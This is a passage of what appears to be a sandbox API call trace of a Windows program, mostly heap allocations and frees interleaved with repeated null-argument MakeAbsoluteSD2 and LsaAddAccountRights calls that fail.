	[0048.791] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404c8
	[0048.791] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.791] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0xc) returned 0x2c46f58
	[0048.791] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.791] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.791] GetLastError () returned 0x57
	[0048.791] SetLastError (dwErrCode=0x57) 
	[0048.791] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404c8 | out: hHeap=0x2c40000) returned 1
	[0048.791] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.791] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.792] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.792] GetLastError () returned 0x57
	[0048.792] SetLastError (dwErrCode=0x57) 
	[0048.792] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.792] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.792] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.792] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.792] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x10) returned 0x2c46f70
	[0048.792] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c46f58 | out: hHeap=0x2c40000) returned 1
	[0048.792] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.792] GetLastError () returned 0x57
	[0048.792] SetLastError (dwErrCode=0x57) 
	[0048.792] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.792] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.792] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.792] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.792] GetLastError () returned 0x57
	[0048.792] SetLastError (dwErrCode=0x57) 
	[0048.792] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.792] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.792] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.792] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.792] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x18) returned 0x2c404c8
	[0048.792] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c46f70 | out: hHeap=0x2c40000) returned 1
	[0048.792] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.792] GetLastError () returned 0x57
	[0048.793] SetLastError (dwErrCode=0x57) 
	[0048.793] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.793] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.793] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.793] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c404b8
	[0048.793] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c41530
	[0048.793] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.793] GetLastError () returned 0x57
	[0048.793] SetLastError (dwErrCode=0x57) 
	[0048.793] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c404b8
	[0048.793] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.793] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c41530
	[0048.793] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.793] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.794] GetLastError () returned 0x57
	[0048.794] SetLastError (dwErrCode=0x57) 
	[0048.794] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.794] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.794] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.794] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.794] GetLastError () returned 0x57
	[0048.794] SetLastError (dwErrCode=0x57) 
	[0048.794] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.794] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.794] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.794] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.794] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x24) returned 0x2c404e8
	[0048.794] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404c8 | out: hHeap=0x2c40000) returned 1
	[0048.794] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.794] GetLastError () returned 0x57
	[0048.794] SetLastError (dwErrCode=0x57) 
	[0048.794] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.794] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.794] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.794] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.794] GetLastError () returned 0x57
	[0048.794] SetLastError (dwErrCode=0x57) 
	[0048.794] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.795] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.795] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.795] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.795] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.795] GetLastError () returned 0x57
	[0048.795] SetLastError (dwErrCode=0x57) 
	[0048.795] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.795] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.795] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.795] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.795] GetLastError () returned 0x57
	[0048.795] SetLastError (dwErrCode=0x57) 
	[0048.795] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.795] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.795] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.795] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.795] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.795] GetLastError () returned 0x57
	[0048.795] SetLastError (dwErrCode=0x57) 
	[0048.795] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.795] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.795] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.795] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.795] GetLastError () returned 0x57
	[0048.796] SetLastError (dwErrCode=0x57) 
	[0048.796] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.796] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.796] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.796] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.796] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x34) returned 0x2c40518
	[0048.796] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404e8 | out: hHeap=0x2c40000) returned 1
	[0048.796] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.796] GetLastError () returned 0x57
	[0048.796] SetLastError (dwErrCode=0x57) 
	[0048.796] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.796] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.796] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.796] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.796] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c40558
	[0048.796] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.796] GetLastError () returned 0x57
	[0048.796] SetLastError (dwErrCode=0x57) 
	[0048.796] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.796] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c40558 | out: hHeap=0x2c40000) returned 1
	[0048.796] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c40558
	[0048.796] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.796] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.796] GetLastError () returned 0x57
	[0048.797] SetLastError (dwErrCode=0x57) 
	[0048.797] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c40558 | out: hHeap=0x2c40000) returned 1
	[0048.797] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.797] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c40558
	[0048.797] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.797] GetLastError () returned 0x57
	[0048.797] SetLastError (dwErrCode=0x57) 
	[0048.797] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.797] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c40558 | out: hHeap=0x2c40000) returned 1
	[0048.797] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c40558
	[0048.797] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.797] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.797] GetLastError () returned 0x57
	[0048.797] SetLastError (dwErrCode=0x57) 
	[0048.797] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c40558 | out: hHeap=0x2c40000) returned 1
	[0048.797] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.797] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c40558
	[0048.797] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.797] GetLastError () returned 0x57
	[0048.797] SetLastError (dwErrCode=0x57) 
	[0048.797] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.797] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c40558 | out: hHeap=0x2c40000) returned 1
	[0048.797] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c40558
	[0048.797] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.797] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.797] GetLastError () returned 0x57
	[0048.798] SetLastError (dwErrCode=0x57) 
	[0048.798] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c40558 | out: hHeap=0x2c40000) returned 1
	[0048.798] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.798] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c40558
	[0048.798] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.798] GetLastError () returned 0x57
	[0048.798] SetLastError (dwErrCode=0x57) 
	[0048.798] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.798] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c40558 | out: hHeap=0x2c40000) returned 1
	[0048.798] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c40558
	[0048.798] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.798] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4c) returned 0x2c404b8
	[0048.798] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c40518 | out: hHeap=0x2c40000) returned 1
	[0048.798] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.798] GetLastError () returned 0x57
	[0048.798] SetLastError (dwErrCode=0x57) 
	[0048.798] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c40558 | out: hHeap=0x2c40000) returned 1
	[0048.798] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.798] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c40518
	[0048.798] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.798] GetLastError () returned 0x57
	[0048.799] SetLastError (dwErrCode=0x57) 
	[0048.799] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.799] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c40518 | out: hHeap=0x2c40000) returned 1
	[0048.799] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c40518
	[0048.799] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.799] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.799] GetLastError () returned 0x57
	[0048.799] SetLastError (dwErrCode=0x57) 
	[0048.799] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c40518 | out: hHeap=0x2c40000) returned 1
	[0048.799] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.799] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.799] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.799] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c40518
	[0048.799] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.799] GetLastError () returned 0x57
	[0048.799] SetLastError (dwErrCode=0x57) 
	[0048.799] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.799] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c40518 | out: hHeap=0x2c40000) returned 1
	[0048.799] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c40518
	[0048.799] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.799] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.799] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c40518 | out: hHeap=0x2c40000) returned 1
	[0048.799] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.799] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c40518
	[0048.799] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.799] GetLastError () returned 0x57
	[0048.800] SetLastError (dwErrCode=0x57) 
	[0048.800] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.800] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c40518 | out: hHeap=0x2c40000) returned 1
	[0048.800] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c40518
	[0048.800] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.800] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.800] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c40518 | out: hHeap=0x2c40000) returned 1
	[0048.800] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.800] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c40518
	[0048.800] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.800] GetLastError () returned 0x57
	[0048.800] SetLastError (dwErrCode=0x57) 
	[0048.800] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.800] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c40518 | out: hHeap=0x2c40000) returned 1
	[0048.800] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c40518
	[0048.800] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.800] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.800] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c40518 | out: hHeap=0x2c40000) returned 1
	[0048.800] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.800] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c40518
	[0048.800] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.800] GetLastError () returned 0x57
	[0048.800] SetLastError (dwErrCode=0x57) 
	[0048.800] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.800] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c40518 | out: hHeap=0x2c40000) returned 1
	[0048.801] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c40518
	[0048.801] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.801] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.801] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c40518 | out: hHeap=0x2c40000) returned 1
	[0048.801] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.801] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c40518
	[0048.801] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.801] GetLastError () returned 0x57
	[0048.801] SetLastError (dwErrCode=0x57) 
	[0048.801] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.801] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c40518 | out: hHeap=0x2c40000) returned 1
	[0048.801] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c40518
	[0048.801] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.801] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x70) returned 0x2c40528
	[0048.801] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.801] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.801] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c40518 | out: hHeap=0x2c40000) returned 1
	[0048.801] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.801] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.801] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.801] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.801] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.801] GetLastError () returned 0x57
	[0048.801] SetLastError (dwErrCode=0x57) 
	[0048.801] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.801] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.802] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.802] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.802] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.802] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.802] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.802] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.802] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.802] GetLastError () returned 0x57
	[0048.802] SetLastError (dwErrCode=0x57) 
	[0048.802] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.802] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.802] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.802] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.802] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.802] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.802] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.802] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.802] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.802] GetLastError () returned 0x57
	[0048.802] SetLastError (dwErrCode=0x57) 
	[0048.802] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.802] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
